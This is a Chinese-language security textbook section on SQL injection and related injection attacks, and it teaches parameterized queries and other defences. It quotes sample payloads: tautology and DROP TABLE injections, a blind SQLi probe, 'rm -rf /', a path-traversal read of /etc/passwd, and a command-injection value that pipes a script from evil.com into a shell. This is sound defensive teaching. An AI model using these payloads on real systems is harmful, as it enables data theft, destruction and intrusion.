3.1 SQL 注入與注入類攻擊的通解#
歷史上最賺錢的漏洞#
SQLi(1998 年披露、1999 年 rain.forest.puppy 系統化)至今仍是資料外洩的第一大殺手:直接讀寫資料庫 —— 使用者表、訂單、卡號。
根源:字串拼接讓資料變成程式碼#
// ❌ 萬惡之源
const sql = "SELECT * FROM users WHERE name = '" + name + "'";
攻擊者輸入 name = ' OR '1'='1 →
SELECT * FROM users WHERE name = '' OR '1'='1' -- 永真,回傳全表!
再看升級版:'; DROP TABLE users; --
SELECT * FROM users WHERE name = ''; DROP TABLE users; --'
資料(輸入)與程式(SQL 語法)之間的邊界被字串拼接抹掉了 —— 與 XSS 完全同構(2.1),只是邊界換成 SQL 直譯器。
通解:參數化查詢(Prepared Statement)#
// ✅ 資料與語法分離
db.query("SELECT * FROM users WHERE name = ?", [name]);
參數化的本質:先送語法模板,再送資料 —— 資料在資料庫層被嚴格當作「值」,永不進入語法解析:
flowchart LR
A["模板: SELECT ... WHERE name = ?"] --> B[(資料庫: 先解析語法)]
C["參數: ' OR 1=1"] --> D[(以值綁定, 不解析)]
B --> E[正確查詢, 注入不可能]
D --> E前書 3.3 節 SQLx 的 query_as!("... $1", id) 正是編譯期參數化 + 型別檢查 —— 框架級預設安全再次出場。
ORM 是不是自動安全?#
# Django ORM:參數化 → 安全
User.objects.filter(name=user_input)
# 但 ORM 也能寫出注入
User.objects.raw(f"SELECT * FROM users WHERE name = '{user_input}'") # ❌
工具不提供安全,正確用法提供安全。ORM 的價值是讓安全用法成為阻力最小的路。
注入家族:同一個病,不同器官#
| 注入 | 語法邊界 | Payload 例 | 通解 |
|---|---|---|---|
| SQLi | SQL | ' OR 1=1 -- | 參數化 |
| XSS | HTML/JS | <script> | 編碼/框架(2.1) |
| 命令注入 | shell | ; rm -rf / | 避免呼叫 shell / 參數陣列 |
| 路徑穿越 | 檔案系統 | ../../etc/passwd | 白名單路徑 + resolve 後驗證 |
| LDAP/NoSQL 注入 | 查詢語法 | {$gt: ""} | 參數化/白名單 |
命令注入#
// ❌
exec(`convert ${filename}.png out.jpg`);
// filename = "a; curl evil.com/pwn.sh | sh" → 任意指令
// ✅ 不經過 shell:execFile 以參數陣列呼叫
execFile('convert', [`${filename}.png`, 'out.jpg']);
路徑穿越#
// ❌
fs.readFile(`/uploads/${req.params.name}`);
// name = "../../etc/passwd"
// ✅ resolve 後驗證仍在上傳目錄內
const p = path.resolve('/uploads', req.params.name);
if (!p.startsWith('/uploads/')) throw new Forbidden();
共同模式:所有注入防禦都是「讓不可信資料無法觸及語法層」:
\[ \text{通解} = \text{參數化} \;\lor\; \text{白名單} \;\lor\; \text{專用 API(不經字串組裝)} \]
防禦縱深#
- 參數化(結構性消滅)
- 最小權限 DB 帳號(應用帳號只給必要表+CRUD,禁 DROP/FILE)→ 即使注入也無法刪庫
- WAF(邊緣擋常見 payload)→ 只能當第 3 層,編碼繞過層出不窮
- 錯誤不外洩(前書 2.4)→ 盲注(blind SQLi)靠錯誤訊息逐字元猜測,關掉訊息=斷其耳目
盲注(Blind SQLi):沒有回顯也能打#
?id=1 AND (SELECT SUBSTR(password,1,1) FROM users WHERE id=1)='a'
→ 頁面正常 = 猜對;異常 = 猜錯 → 二分法逐字元提取
即使頁面不顯示錯誤,時間盲注(AND SLEEP(5))也能靠回應延遲傳遞資訊。教訓:不要以為「看不到錯誤」就沒有注入,參數化才是唯一確解。
習題#
- 用 SQLx 重寫一段字串拼接查詢,並解釋
$1綁定如何讓注入語法失效。 - 盲注為什麼在「參數化普及」後仍值得學?舉一個現代變體(NoSQL)。
- 檔案上傳功能的路徑穿越與命令注入各出現在哪一段?畫出資料流並標註防禦點。